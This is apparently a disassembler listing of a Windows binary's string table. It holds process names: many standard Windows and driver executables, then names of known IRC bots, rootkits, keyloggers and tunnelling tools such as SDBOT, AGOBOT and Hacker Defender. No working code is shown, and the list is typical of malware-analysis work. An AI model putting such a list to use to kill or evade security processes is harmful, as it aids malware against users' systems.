aMsswchx_exe	db 'msswchx.exe',0      ; DATA XREF: .text:00448BB8o
aMspaint_exe	db 'mspaint.exe',0      ; DATA XREF: .text:00448BB4o
aMsiexec_exe	db 'msiexec.exe',0      ; DATA XREF: .text:00448BB0o
aMshta_exe	db 'mshta.exe',0        ; DATA XREF: .text:00448BACo
		align 4
aMshearts_exe	db 'mshearts.exe',0     ; DATA XREF: .text:00448BA8o
		align 4
aMsg_exe	db 'msg.exe',0          ; DATA XREF: .text:00448BA4o
aMsdtc_exe	db 'msdtc.exe',0        ; DATA XREF: .text:00448BA0o
		align 4
aMscdexnt_exe	db 'mscdexnt.exe',0     ; DATA XREF: .text:00448B9Co
		align 4
aMrt_exe	db 'MRT.exe',0          ; DATA XREF: .text:00448B98o
aMrinfo_exe	db 'mrinfo.exe',0       ; DATA XREF: .text:00448B94o
		align 4
aMqtgsvc_exe	db 'mqtgsvc.exe',0      ; DATA XREF: .text:00448B90o
aMqsvc_exe	db 'mqsvc.exe',0        ; DATA XREF: .text:00448B8Co
		align 4
aMqbkup_exe	db 'mqbkup.exe',0       ; DATA XREF: .text:00448B88o
		align 10h
aMpnotify_exe	db 'mpnotify.exe',0     ; DATA XREF: .text:00448B84o
		align 10h
aMplay32_exe	db 'mplay32.exe',0      ; DATA XREF: .text:00448B80o
aMountvol_exe	db 'mountvol.exe',0     ; DATA XREF: .text:00448B7Co
		align 4
aMobsync_exe	db 'mobsync.exe',0      ; DATA XREF: .text:00448B78o
aMnmsrvc_exe	db 'mnmsrvc.exe',0      ; DATA XREF: .text:00448B74o
aMmc_exe	db 'mmc.exe',0          ; DATA XREF: .text:00448B70o
aMigpwd_exe	db 'migpwd.exe',0       ; DATA XREF: .text:00448B6Co
		align 4
aMem_exe	db 'mem.exe',0          ; DATA XREF: .text:00448B68o
aMakecab_exe	db 'makecab.exe',0      ; DATA XREF: .text:00448B64o
aMagnify_exe	db 'magnify.exe',0      ; DATA XREF: .text:00448B60o
aLsass_exe	db 'lsass.exe',0        ; DATA XREF: .text:00448B5Co
		align 4
aLpr_exe	db 'lpr.exe',0          ; DATA XREF: .text:00448B58o
aLpq_exe	db 'lpq.exe',0          ; DATA XREF: .text:00448B54o
aLogonui_exe	db 'logonui.exe',0      ; DATA XREF: .text:00448B50o
aLogoff_exe	db 'logoff.exe',0       ; DATA XREF: .text:00448B4Co
		align 4
aLogman_exe	db 'logman.exe',0       ; DATA XREF: .text:00448B48o
		align 4
aLogagent_exe	db 'logagent.exe',0     ; DATA XREF: .text:00448B44o
		align 4
aLodctr_exe	db 'lodctr.exe',0       ; DATA XREF: .text:00448B40o
		align 4
aLocator_exe	db 'locator.exe',0      ; DATA XREF: .text:00448B3Co
aLnkstub_exe	db 'lnkstub.exe',0      ; DATA XREF: .text:00448B38o
aLights_exe	db 'lights.exe',0       ; DATA XREF: .text:00448B34o
		align 4
aLabel_exe	db 'label.exe',0        ; DATA XREF: .text:00448B30o
		align 4
aKrnl386_exe	db 'krnl386.exe',0      ; DATA XREF: .text:00448B2Co
aJview_exe	db 'jview.exe',0        ; DATA XREF: .text:00448B28o
		align 4
aJdbgmgr_exe	db 'jdbgmgr.exe',0      ; DATA XREF: .text:00448B24o
aJavaws_exe	db 'javaws.exe',0       ; DATA XREF: .text:00448B20o
		align 4
aJavaw_exe	db 'javaw.exe',0        ; DATA XREF: .text:00448B1Co
		align 10h
aJava_exe	db 'java.exe',0         ; DATA XREF: .text:00448B18o
		align 4
aIpxroute_exe	db 'ipxroute.exe',0     ; DATA XREF: .text:00448B14o
		align 4
aIpv6_exe	db 'ipv6.exe',0         ; DATA XREF: .text:00448B10o
		align 4
aIpsec6_exe	db 'ipsec6.exe',0       ; DATA XREF: .text:00448B0Co
		align 4
aIpconfig_exe	db 'ipconfig.exe',0     ; DATA XREF: .text:00448B08o
		align 4
aImapi_exe	db 'imapi.exe',0        ; DATA XREF: .text:00448B04o
		align 10h
aIexpress_exe	db 'iexpress.exe',0     ; DATA XREF: .text:00448B00o
		align 10h
aIe4uinit_exe	db 'ie4uinit.exe',0     ; DATA XREF: .text:00448AFCo
		align 10h
aHostname_exe	db 'hostname.exe',0     ; DATA XREF: .text:00448AF8o
		align 10h
aHelp_exe	db 'help.exe',0         ; DATA XREF: .text:00448AF4o
		align 4
aGrpconv_exe	db 'grpconv.exe',0      ; DATA XREF: .text:00448AF0o
aGpupdate_exe	db 'gpupdate.exe',0     ; DATA XREF: .text:00448AECo
		align 4
aGpresult_exe	db 'gpresult.exe',0     ; DATA XREF: .text:00448AE8o
		align 4
aGetmac_exe	db 'getmac.exe',0       ; DATA XREF: .text:00448AE4o
		align 4
aGdi_exe	db 'gdi.exe',0          ; DATA XREF: .text:00448AE0o
aGb2312_uce	db 'gb2312.uce',0       ; DATA XREF: .text:00448ADCo
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: .text:00448AD8o
aFsutil_exe	db 'fsutil.exe',0       ; DATA XREF: .text:00448AD4o
		align 4
aFsquirt_exe	db 'fsquirt.exe',0      ; DATA XREF: .text:00448AD0o
aFreecell_exe	db 'freecell.exe',0     ; DATA XREF: .text:00448ACCo
		align 4
aForcedos_exe	db 'forcedos.exe',0     ; DATA XREF: .text:00448AC8o
		align 4
aFontview_exe	db 'fontview.exe',0     ; DATA XREF: .text:00448AC4o
		align 4
aFltmc_exe	db 'fltMc.exe',0        ; DATA XREF: .text:00448AC0o
		align 4
aFixmapi_exe	db 'fixmapi.exe',0      ; DATA XREF: .text:00448ABCo
aFinger_exe	db 'finger.exe',0       ; DATA XREF: .text:00448AB8o
		align 4
aFindstr_exe	db 'findstr.exe',0      ; DATA XREF: .text:00448AB4o
aFind_exe	db 'find.exe',0         ; DATA XREF: .text:00448AB0o
		align 4
aFc_exe		db 'fc.exe',0           ; DATA XREF: .text:00448AACo
		align 4
aFastopen_exe	db 'fastopen.exe',0     ; DATA XREF: .text:00448AA8o
		align 4
aExtrac32_exe	db 'extrac32.exe',0     ; DATA XREF: .text:00448AA4o
		align 4
aExpand_exe	db 'expand.exe',0       ; DATA XREF: .text:00448AA0o
		align 4
aExe2bin_exe	db 'exe2bin.exe',0      ; DATA XREF: .text:00448A9Co
aEventvwr_exe	db 'eventvwr.exe',0     ; DATA XREF: .text:00448A98o
		align 4
aEventtriggers_	db 'eventtriggers.exe',0 ; DATA XREF: .text:00448A94o
		align 4
aEventcreate_ex	db 'eventcreate.exe',0  ; DATA XREF: .text:00448A90o
aEudcedit_exe	db 'eudcedit.exe',0     ; DATA XREF: .text:00448A8Co
		align 4
aEsentutl_exe	db 'esentutl.exe',0     ; DATA XREF: .text:00448A88o
		align 4
aEdlin_exe	db 'edlin.exe',0        ; DATA XREF: .text:00448A84o
		align 4
aDxdiag_exe	db 'dxdiag.exe',0       ; DATA XREF: .text:00448A80o
		align 10h
aDwwin_exe	db 'dwwin.exe',0        ; DATA XREF: .text:00448A7Co
		align 4
aDvdupgrd_exe	db 'dvdupgrd.exe',0     ; DATA XREF: .text:00448A78o
		align 4
aDvdplay_exe	db 'dvdplay.exe',0      ; DATA XREF: .text:00448A74o
aDumprep_exe	db 'dumprep.exe',0      ; DATA XREF: .text:00448A70o
aDrwtsn32_exe	db 'drwtsn32.exe',0     ; DATA XREF: .text:00448A6Co
		align 4
aDrwatson_exe	db 'drwatson.exe',0     ; DATA XREF: .text:00448A68o
		align 4
aDriverquery_ex	db 'driverquery.exe',0  ; DATA XREF: .text:00448A64o
aDpvsetup_exe	db 'dpvsetup.exe',0     ; DATA XREF: .text:00448A60o
		align 4
aDpnsvr_exe	db 'dpnsvr.exe',0       ; DATA XREF: .text:00448A5Co
		align 10h
aDplaysvr_exe	db 'dplaysvr.exe',0     ; DATA XREF: .text:00448A58o
		align 10h
aDosx_exe	db 'dosx.exe',0         ; DATA XREF: .text:00448A54o
		align 4
aDoskey_exe	db 'doskey.exe',0       ; DATA XREF: .text:00448A50o
		align 4
aDmremote_exe	db 'dmremote.exe',0     ; DATA XREF: .text:00448A4Co
		align 4
aDmadmin_exe	db 'dmadmin.exe',0      ; DATA XREF: .text:00448A48o
aDllhst3g_exe	db 'dllhst3g.exe',0     ; DATA XREF: .text:00448A44o
		align 4
aDllhost_exe	db 'dllhost.exe',0      ; DATA XREF: .text:00448A40o
aDiskperf_exe	db 'diskperf.exe',0     ; DATA XREF: .text:00448A3Co
		align 10h
aDiskpart_exe	db 'diskpart.exe',0     ; DATA XREF: .text:00448A38o
		align 10h
aDiantz_exe	db 'diantz.exe',0       ; DATA XREF: .text:00448A34o
		align 4
aDfrgntfs_exe	db 'dfrgntfs.exe',0     ; DATA XREF: .text:00448A30o
		align 4
aDfrgfat_exe	db 'dfrgfat.exe',0      ; DATA XREF: .text:00448A2Co
aDefrag_exe	db 'defrag.exe',0       ; DATA XREF: .text:00448A28o
		align 4
aDebug_exe	db 'debug.exe',0        ; DATA XREF: .text:00448A24o
		align 10h
aDdeshare_exe	db 'ddeshare.exe',0     ; DATA XREF: .text:00448A20o
		align 10h
aDcomcnfg_exe	db 'dcomcnfg.exe',0     ; DATA XREF: .text:00448A1Co
		align 10h
aCtfmon_exe	db 'ctfmon.exe',0       ; DATA XREF: .text:00448A18o
		align 4
aCsrss_exe	db 'csrss.exe',0        ; DATA XREF: .text:00448A14o
		align 4
aCscript_exe	db 'cscript.exe',0      ; DATA XREF: .text:00448A10o
aConvert_exe	db 'convert.exe',0      ; DATA XREF: .text:00448A0Co
aControl_exe	db 'control.exe',0      ; DATA XREF: .text:00448A08o
aConime_exe	db 'conime.exe',0       ; DATA XREF: .text:00448A04o
		align 4
aCompact_exe	db 'compact.exe',0      ; DATA XREF: .text:00448A00o
aComp_exe	db 'comp.exe',0         ; DATA XREF: .text:004489FCo
		align 10h
aCmstp_exe	db 'cmstp.exe',0        ; DATA XREF: .text:004489F8o
		align 4
aCmmon32_exe	db 'cmmon32.exe',0      ; DATA XREF: .text:004489F4o
aCmdl32_exe	db 'cmdl32.exe',0       ; DATA XREF: .text:004489F0o
		align 4
aClspack_exe	db 'clspack.exe',0      ; DATA XREF: .text:004489E8o
aClipsrv_exe	db 'clipsrv.exe',0      ; DATA XREF: .text:004489E4o
aClipbrd_exe	db 'clipbrd.exe',0      ; DATA XREF: .text:004489E0o
aCliconfg_exe	db 'cliconfg.exe',0     ; DATA XREF: .text:004489DCo
		align 4
aCleanmgr_exe	db 'cleanmgr.exe',0     ; DATA XREF: .text:004489D8o
		align 4
aCkcnv_exe	db 'ckcnv.exe',0        ; DATA XREF: .text:004489D4o
		align 4
aCisvc_exe	db 'cisvc.exe',0        ; DATA XREF: .text:004489D0o
		align 10h
aCipher_exe	db 'cipher.exe',0       ; DATA XREF: .text:004489CCo
		align 4
aCidaemon_exe	db 'cidaemon.exe',0     ; DATA XREF: .text:004489C8o
		align 4
aChkntfs_exe	db 'chkntfs.exe',0      ; DATA XREF: .text:004489C4o
aChkdsk_exe	db 'chkdsk.exe',0       ; DATA XREF: .text:004489C0o
		align 4
aChcfg_exe	db 'ChCfg.exe',0        ; DATA XREF: .text:004489BCo
		align 10h
aCharmap_exe	db 'charmap.exe',0      ; DATA XREF: .text:004489B8o
aCalc_exe	db 'calc.exe',0         ; DATA XREF: .text:004489B4o
		align 4
aCacls_exe	db 'cacls.exe',0        ; DATA XREF: .text:004489B0o
		align 4
aBootvrfy_exe	db 'bootvrfy.exe',0     ; DATA XREF: .text:004489ACo
		align 4
aBootok_exe	db 'bootok.exe',0       ; DATA XREF: .text:004489A8o
		align 10h
aBootcfg_exe	db 'bootcfg.exe',0      ; DATA XREF: .text:004489A4o
aBlastcln_exe	db 'blastcln.exe',0     ; DATA XREF: .text:004489A0o
		align 4
aAutolfn_exe	db 'autolfn.exe',0      ; DATA XREF: .text:0044899Co
aAutofmt_exe	db 'autofmt.exe',0      ; DATA XREF: .text:00448998o
aAutoconv_exe	db 'autoconv.exe',0     ; DATA XREF: .text:00448994o
		align 4
aAutochk_exe	db 'autochk.exe',0      ; DATA XREF: .text:00448990o
aAuditusr_exe	db 'auditusr.exe',0     ; DATA XREF: .text:0044898Co
		align 10h
aAttrib_exe	db 'attrib.exe',0       ; DATA XREF: .text:00448988o
		align 4
aAtmadm_exe	db 'atmadm.exe',0       ; DATA XREF: .text:00448984o
		align 4
aAti2mdxx_exe	db 'Ati2mdxx.exe',0     ; DATA XREF: .text:00448980o
		align 4
aAti2evxx_exe	db 'ati2evxx.exe',0     ; DATA XREF: .text:0044897Co
					; .text:00448EC4o
		align 4
aAt_exe		db 'at.exe',0           ; DATA XREF: .text:00448978o
		align 10h
aAsr_pfu_exe	db 'asr_pfu.exe',0      ; DATA XREF: .text:00448974o
aAsr_ldm_exe	db 'asr_ldm.exe',0      ; DATA XREF: .text:00448970o
aAsr_fmt_exe	db 'asr_fmt.exe',0      ; DATA XREF: .text:0044896Co
aArp_exe	db 'arp.exe',0          ; DATA XREF: .text:00448968o
aAppend_exe	db 'append.exe',0       ; DATA XREF: .text:00448964o
		align 4
aAlg_exe	db 'alg.exe',0          ; DATA XREF: .text:00448960o
aAhui_exe	db 'ahui.exe',0         ; DATA XREF: .text:0044895Co
		align 4
aActmovie_exe	db 'actmovie.exe',0     ; DATA XREF: .text:00448958o
		align 4
aAccwiz_exe	db 'accwiz.exe',0       ; DATA XREF: .text:00448954o
		align 4
aHdashcut_exe	db 'HDAShCut.exe',0     ; DATA XREF: .text:00448950o
					; .text:00448F94o
		align 4
aKeystone_exe	db 'keystone.exe',0     ; DATA XREF: .text:0044894Co
		align 4
aNwiz_exe	db 'nwiz.exe',0         ; DATA XREF: .text:00448948o
		align 4
aNvcplui_exe	db 'nvcplui.exe',0      ; DATA XREF: .text:00448944o
aNvdspsch_exe	db 'nvdspsch.exe',0     ; DATA XREF: .text:00448940o
		align 10h
aNvcolor_exe	db 'nvcolor.exe',0      ; DATA XREF: .text:0044893Co
aNvappbar_exe	db 'nvappbar.exe',0     ; DATA XREF: .text:00448938o
		align 4
aNvudisp_exe	db 'nvudisp.exe',0      ; DATA XREF: .text:00448934o
aNvsvc32_exe	db 'nvsvc32.exe',0      ; DATA XREF: .text:00448930o
aNvuninst_exe	db 'NVUNINST.EXE',0     ; DATA XREF: .text:0044892Co
		align 4
aSview_exe	db 'sview.exe',0        ; DATA XREF: .text:00448928o
		align 10h
aNview_exe	db 'nview.exe',0        ; DATA XREF: .text:00448924o
		align 4
aWmsoft_exe	db 'wmsoft*.exe',0      ; DATA XREF: .text:00448920o
					; .text:00448F88o ...
aAsr__exe	db 'asr_*.exe',0        ; DATA XREF: .text:0044891Co
					; .text:00448F84o ...
		align 4
aSysupd_exe	db 'SYSUPD.EXE',0       ; DATA XREF: .text:00448910o
		align 10h
aSvshost_exe	db 'SVSHOST.EXE',0      ; DATA XREF: .text:00448904o
aSvchostc_exe	db 'SVCHOSTC.EXE',0     ; DATA XREF: .text:004488FCo
		align 4
aMssmpp_exe	db 'MSSMPP.EXE',0       ; DATA XREF: .text:004488F4o
		align 4
aWindows12_exe	db 'WINDOWS12.EXE',0    ; DATA XREF: .text:004488F0o
		align 4
aDup_exe	db 'DUP.EXE',0          ; DATA XREF: .text:004488E8o
aNsecurity_exe	db 'NSECURITY.EXE',0    ; DATA XREF: .text:004488E4o
		align 10h
aInssvc_exe	db 'INSSVC.EXE',0       ; DATA XREF: .text:004488DCo
		align 4
aDog_bat	db 'DOG.BAT',0          ; DATA XREF: .text:004488D8o
aMsnet_bat	db 'MSNET.BAT',0        ; DATA XREF: .text:004488D0o
		align 10h
aRootkit2_exe	db 'ROOTKIT2.EXE',0     ; DATA XREF: .text:004488CCo
		align 10h
aRun_bot_bat_ex	db 'RUN_BOT.BAT.EXE',0  ; DATA XREF: .text:004488C8o
aLogoner_exe	db 'LOGONER.EXE',0      ; DATA XREF: .text:004488C4o
aLogdec_exe	db 'LOGDEC.EXE',0       ; DATA XREF: .text:004488C0o
		align 4
aWebxgrab_exe	db 'WEBXGRAB.EXE',0     ; DATA XREF: .text:004488BCo
		align 4
aGg_exe		db 'GG.EXE',0           ; DATA XREF: .text:004488B8o
		align 10h
aWolff_exe	db 'WOLFF.EXE',0        ; DATA XREF: .text:004488B0o
		align 4
aHz_exe		db 'HZ.EXE',0           ; DATA XREF: .text:004488ACo
		align 4
aWinpga_exe	db 'WINPGA.EXE',0       ; DATA XREF: .text:004488A8o
		align 10h
aWqrtuhx_exe	db 'WQRTUHX.EXE',0      ; DATA XREF: .text:004488A4o
aDmi_exe	db 'DMI.EXE',0          ; DATA XREF: .text:004488A0o
aRspool_exe	db 'RSPOOL.EXE',0       ; DATA XREF: .text:0044889Co
		align 10h
aIrb_exe	db 'IRB.EXE',0          ; DATA XREF: .text:00448898o
aV1rg1n_exe	db 'V1RG1N.EXE',0       ; DATA XREF: .text:00448894o
		align 4
aRopnc_exe	db 'ROPNC.EXE',0        ; DATA XREF: .text:00448890o
		align 10h
aXgun_exe	db 'XGUN.EXE',0         ; DATA XREF: .text:0044888Co
		align 4
aAdv693_exe	db 'ADV693.EXE',0       ; DATA XREF: .text:00448888o
		align 4
aJssa_exe	db 'JSSA.EXE',0         ; DATA XREF: .text:00448884o
		align 4
aV1rgf_exe	db 'V1RGF.EXE',0        ; DATA XREF: .text:00448880o
		align 10h
aU_exe		db 'U.EXE',0            ; DATA XREF: .text:0044887Co
		align 4
aV1rg1n_exe_0	db 'V1Rg1N.EXE',0       ; DATA XREF: .text:00448878o
		align 4
aKa6ber_exe	db 'KA6BER.EXE',0       ; DATA XREF: .text:00448874o
		align 10h
aTest_exe	db 'TEST.EXE',0         ; DATA XREF: .text:00448870o
		align 4
aScans_exe	db 'SCANS.EXE',0        ; DATA XREF: .text:0044886Co
		align 4
aSecuraq_exe	db 'SECURAQ.EXE',0      ; DATA XREF: .text:00448868o
aPs2m_exe	db 'PS2M.EXE',0         ; DATA XREF: .text:00448864o
		align 10h
aOurnik_exe	db 'OURNIK.EXE',0       ; DATA XREF: .text:00448860o
		align 4
aO1o2o3o4_exe	db 'O1O2O3O4.EXE',0     ; DATA XREF: .text:0044885Co
		align 4
aOf_exe		db 'OF.EXE',0           ; DATA XREF: .text:00448858o
		align 4
aTamer_bat_exe	db 'TAMER.BAT.EXE',0    ; DATA XREF: .text:00448854o
		align 4
a5h7h8v6b1c5_ex	db '5H7H8V6B1C5.EXE',0  ; DATA XREF: .text:00448850o
aDual_exe	db 'DUAL.EXE',0         ; DATA XREF: .text:0044884Co
		align 10h
aNxm_exe	db 'NXM.EXE',0          ; DATA XREF: .text:00448848o
aGt_exe		db 'GT.EXE',0           ; DATA XREF: .text:00448844o
		align 10h
aNope_exe	db 'NOPE.EXE',0         ; DATA XREF: .text:00448840o
		align 4
aM_exe		db 'M.EXE',0            ; DATA XREF: .text:0044883Co
		align 4
aLoadadv735_exe	db 'LOADADV735.EXE',0   ; DATA XREF: .text:00448838o
		align 4
aAbo_exe	db 'ABO.EXE',0          ; DATA XREF: .text:00448834o
aLam_exe	db 'LAM.EXE',0          ; DATA XREF: .text:00448830o
aBox_exe	db 'BOX.EXE',0          ; DATA XREF: .text:0044882Co
aHtran_v1_exe	db 'HTRAN_V1.EXE',0     ; DATA XREF: .text:00448824o
		align 4
aRserver_exe	db 'RSERVER.EXE',0      ; DATA XREF: .text:00448820o
aJoined_exe	db 'JOINED.EXE',0       ; DATA XREF: .text:0044881Co
		align 4
aHookiat_exe	db 'HOOKIAT.EXE',0      ; DATA XREF: .text:00448818o
aUay_exe	db 'UAY.EXE',0          ; DATA XREF: .text:00448814o
aOwnt_exe	db 'OWNT.EXE',0         ; DATA XREF: .text:00448810o
		align 4
aWnetwork_exe	db 'WNETWORK.EXE',0     ; DATA XREF: .text:0044880Co
		align 4
aWishs_exewsemg	db 'WISHS.EXEWSEMGR.EXE',0 ; DATA XREF: .text:00448808o
aW32sim_exe	db 'W32SIM.EXE',0       ; DATA XREF: .text:00448804o
		align 4
aDisk10_exe	db 'DISK10.EXE',0       ; DATA XREF: .text:00448800o
		align 10h
aWinclean_exe	db 'WINCLEAN.EXE',0     ; DATA XREF: .text:004487FCo
		align 10h
aWinuppd_exe	db 'WINUPPD.EXE',0      ; DATA XREF: .text:004487F8o
aIsass_exe	db 'ISASS.EXE',0        ; DATA XREF: .text:004487F4o
		align 4
aWiniogon_exe	db 'WINIOGON.EXE',0     ; DATA XREF: .text:004487F0o
		align 4
aSpooisv_exe	db 'SPOOISV.EXE',0      ; DATA XREF: .text:004487ECo
aVideoati0_exe	db 'VIDEOATI0.EXE',0    ; DATA XREF: .text:004487E8o
		align 4
aIs67538_exe	db 'IS67538.EXE',0      ; DATA XREF: .text:004487E4o
aBlkl_exe	db 'BLKL.EXE',0         ; DATA XREF: .text:004487E0o
					; .text:00448828o
		align 4
aBulk_exe	db 'BULK.EXE',0         ; DATA XREF: .text:004487DCo
		align 4
aMswdns32_exe	db 'MSWDNS32.EXE',0     ; DATA XREF: .text:004487D8o
		align 4
aWinpkr_exe	db 'WINPKR.EXE',0       ; DATA XREF: .text:004487D4o
		align 4
aWinsnte_exe	db 'WINSNTE.EXE',0      ; DATA XREF: .text:004487D0o
aEbay_exe	db 'EBAY.EXE',0         ; DATA XREF: .text:004487CCo
		align 4
aWanmpsvc_exe	db 'WANMPSVC.EXE',0     ; DATA XREF: .text:004487C8o
		align 4
aWebmsn_exe	db 'WEBMSN.EXE',0       ; DATA XREF: .text:004487C4o
		align 4
aSysmgr64_exe	db 'SYSMGR64.EXE',0     ; DATA XREF: .text:004487C0o
		align 4
aWmism23_exe	db 'WMISM23.EXE',0      ; DATA XREF: .text:004487BCo
aWinupdaterar_e	db 'WINUPDATERAR.EXE',0 ; DATA XREF: .text:004487B8o
		align 4
aWinsocket_exe	db 'WINSOCKET.EXE',0    ; DATA XREF: .text:004487B4o
		align 4
aSsql_exe	db 'SSQL.EXE',0         ; DATA XREF: .text:004487B0o
		align 4
aMssql32_exe	db 'MSSQL32.EXE',0      ; DATA XREF: .text:004487ACo
aSxot_exe	db 'SXOT.EXE',0         ; DATA XREF: .text:004487A8o
		align 4
aAkbot_exe	db 'AKBOT.EXE',0        ; DATA XREF: .text:004487A4o
		align 4
aDc_exe		db 'DC.EXE',0           ; DATA XREF: .text:004487A0o
		align 10h
aDcz_exe	db 'DCZ.EXE',0          ; DATA XREF: .text:0044879Co
aDcomd_exe	db 'DCOMD.EXE',0        ; DATA XREF: .text:00448798o
		align 4
aUniversal_exe	db 'UNIVERSAL.EXE',0    ; DATA XREF: .text:00448794o
		align 4
aUtils32_exe	db 'UTILS32.EXE',0      ; DATA XREF: .text:00448790o
aR00tkit_exe	db 'R00TKIT.EXE',0      ; DATA XREF: .text:0044878Co
aRk_exe		db 'RK.EXE',0           ; DATA XREF: .text:00448788o
		align 4
aRootkit_exe	db 'ROOTKIT.EXE',0      ; DATA XREF: .text:00448784o
aT00lkit_exe	db 'T00LKIT.EXE',0      ; DATA XREF: .text:00448780o
aUpdates_exe	db 'UPDATES.EXE',0      ; DATA XREF: .text:0044877Co
aExe32_exe	db 'EXE32.EXE',0        ; DATA XREF: .text:00448778o
		align 4
aExe_exe	db 'EXE.EXE',0          ; DATA XREF: .text:00448774o
aDllhst_exe	db 'DLLHST.EXE',0       ; DATA XREF: .text:0044876Co
		align 4
aWindll_exe	db 'WINDLL.EXE',0       ; DATA XREF: .text:00448768o
		align 4
aGsec_exe	db 'GSEC.EXE',0         ; DATA XREF: .text:00448764o
		align 10h
aRunbatch_exe	db 'RUNBATCH.EXE',0     ; DATA XREF: .text:00448760o
		align 10h
aLoader32_exe	db 'LOADER32.EXE',0     ; DATA XREF: .text:0044875Co
		align 10h
aWebex_exe	db 'WEBEX.EXE',0        ; DATA XREF: .text:00448758o
		align 4
aDowner_exe	db 'DOWNER.EXE',0       ; DATA XREF: .text:00448754o
		align 4
aUrx_exe	db 'URX.EXE',0          ; DATA XREF: .text:00448750o
aPnp_exe	db 'PNP.EXE',0          ; DATA XREF: .text:0044874Co
aAsn_exe	db 'ASN.EXE',0          ; DATA XREF: .text:00448748o
aUrxbot_exe	db 'URXBOT.EXE',0       ; DATA XREF: .text:00448744o
		align 4
aForbot_exe	db 'FORBOT.EXE',0       ; DATA XREF: .text:00448740o
		align 4
aAgobotsvc_exe	db 'AGOBOTSVC.EXE',0    ; DATA XREF: .text:0044873Co
		align 4
aWonk_exe	db 'WONK.EXE',0         ; DATA XREF: .text:00448738o
		align 4
aPb_exe		db 'PB.EXE',0           ; DATA XREF: .text:00448734o
		align 4
aAg32_exe	db 'AG32.EXE',0         ; DATA XREF: .text:00448730o
		align 4
aAgo_exe	db 'AGO.EXE',0          ; DATA XREF: .text:00448728o
aA_exe		db 'A.EXE',0            ; DATA XREF: .text:00448724o
					; .text:004488B4o
		align 4
aPhatbot_exe	db 'PHATBOT.EXE',0      ; DATA XREF: .text:00448720o
aAgobot3_exe	db 'AGOBOT3.EXE',0      ; DATA XREF: .text:0044871Co
aAgobot_exe	db 'AGOBOT.EXE',0       ; DATA XREF: .text:00448718o
		align 4
aSyst3m33r_exe	db 'SYST3M33R.EXE',0    ; DATA XREF: .text:00448714o
		align 4
aWebdownloader_	db 'WEBDOWNLOADER.EXE',0 ; DATA XREF: .text:00448710o
		align 10h
aWebx_exe	db 'WEBX.EXE',0         ; DATA XREF: .text:0044870Co
		align 4
aXftp_exe	db 'XFTP.EXE',0         ; DATA XREF: .text:00448708o
		align 4
aWinnet_exe	db 'WINNET.EXE',0       ; DATA XREF: .text:00448704o
		align 4
aWinreg32_exe	db 'WINREG32.EXE',0     ; DATA XREF: .text:00448700o
		align 4
aConvertxdccfil	db 'CONVERTXDCCFILE.EXE',0 ; DATA XREF: .text:004486FCo
					; .text:004488E0o
aMsserv_exe	db 'MSSERV.EXE',0       ; DATA XREF: .text:004486F8o
		align 4
aS0cks_exe	db 'S0CKS.EXE',0        ; DATA XREF: .text:004486F4o
		align 10h
aSockets_exe	db 'SOCKETS.EXE',0      ; DATA XREF: .text:004486F0o
aSox_exe	db 'SOX.EXE',0          ; DATA XREF: .text:004486ECo
aSocks_exe	db 'SOCKS.EXE',0        ; DATA XREF: .text:004486E8o
		align 10h
aClass101_exe	db 'CLASS101.EXE',0     ; DATA XREF: .text:004486E4o
		align 10h
a101_exe	db '101.EXE',0          ; DATA XREF: .text:004486E0o
aMsn_exe	db 'MSN.EXE',0          ; DATA XREF: .text:004486DCo
aHax_exe	db 'HAX.EXE',0          ; DATA XREF: .text:004486D8o
aT_bat		db 'T.BAT',0            ; DATA XREF: .text:004486D4o
		align 10h
aSdbot05c_exe	db 'SDBOT05C.EXE',0     ; DATA XREF: .text:004486D0o
		align 10h
aSdbot05b_exe	db 'SDBOT05B.EXE',0     ; DATA XREF: .text:004486CCo
		align 10h
aSd_exe		db 'SD.EXE',0           ; DATA XREF: .text:004486C8o
		align 4
aSdbot_exe	db 'SDBOT.EXE',0        ; DATA XREF: .text:004486C4o
		align 4
aIrxdcc_exe	db 'IRXDCC.EXE',0       ; DATA XREF: .text:004486C0o
		align 10h
aOffer_exe	db 'OFFER.EXE',0        ; DATA XREF: .text:004486BCo
		align 4
aIrbot_exe	db 'IRBOT.EXE',0        ; DATA XREF: .text:004486B8o
		align 4
aIroffer_exe	db 'IROFFER.EXE',0      ; DATA XREF: .text:004486B4o
aRcc_exe	db 'RCC.EXE',0          ; DATA XREF: .text:004486B0o
aWinmrt32_exe	db 'WINMRT32.EXE',0     ; DATA XREF: .text:004486ACo
		align 4
aWinmrt_exe	db 'WINMRT.EXE',0       ; DATA XREF: .text:004486A8o
		align 4
aAntispy_exe	db 'ANTISPY.EXE',0      ; DATA XREF: .text:004486A4o
aMsantispy_exe	db 'MSANTISPY.EXE',0    ; DATA XREF: .text:004486A0o
		align 4
aDrweb32_exe	db 'DRWEB32.EXE',0      ; DATA XREF: .text:0044869Co
aKeylogg_exe	db 'KEYLOGG.EXE',0      ; DATA XREF: .text:00448698o
aKeylog_exe	db 'KEYLOG.EXE',0       ; DATA XREF: .text:00448694o
		align 4
aKeylogger_exe	db 'KEYLOGGER.EXE',0    ; DATA XREF: .text:00448690o
		align 4
aRdrbs073_exe	db 'RDRBS073.EXE',0     ; DATA XREF: .text:00448688o
		align 4
aBdcli073_exe	db 'BDCLI073.EXE',0     ; DATA XREF: .text:00448684o
		align 4
aHxdef073_exe	db 'HXDEF073.EXE',0     ; DATA XREF: .text:00448680o
		align 4
aHxgold_exe	db 'HXGOLD.EXE',0       ; DATA XREF: .text:0044867Co
		align 4
aHxdofena_exe	db 'HXDOFENA.EXE',0     ; DATA XREF: .text:00448678o
					; .text:0044868Co ...
		align 4
aRdrbs100_exe	db 'RDRBS100.EXE',0     ; DATA XREF: .text:00448674o
		align 4
aBdcli100_exe	db 'BDCLI100.EXE',0     ; DATA XREF: .text:00448670o
		align 4
aHxdef100_exe	db 'HXDEF100.EXE',0     ; DATA XREF: .text:0044866Co
		align 4
aXd_exe		db 'XD.EXE',0           ; DATA XREF: .text:00448664o
		align 4
aXdcckit_exe	db 'XDCCKIT.EXE',0      ; DATA XREF: .text:00448660o
aKit_exe	db 'KIT.EXE',0          ; DATA XREF: .text:0044865Co
aRunthis_exe	db 'RUNTHIS.EXE',0      ; DATA XREF: .text:00448658o
aDiabl0_exe	db 'DIABL0.EXE',0       ; DATA XREF: .text:00448654o
		align 4
aDiablo_exe	db 'DIABLO.EXE',0       ; DATA XREF: .text:00448650o
		align 4
a6_exe		db '6.EXE',0            ; DATA XREF: .text:0044864Co
		align 4
a1_exe		db '1.EXE',0            ; DATA XREF: .text:00448648o
		align 4
aOwned_exe	db 'OWNED.EXE',0        ; DATA XREF: .text:00448644o
		align 10h
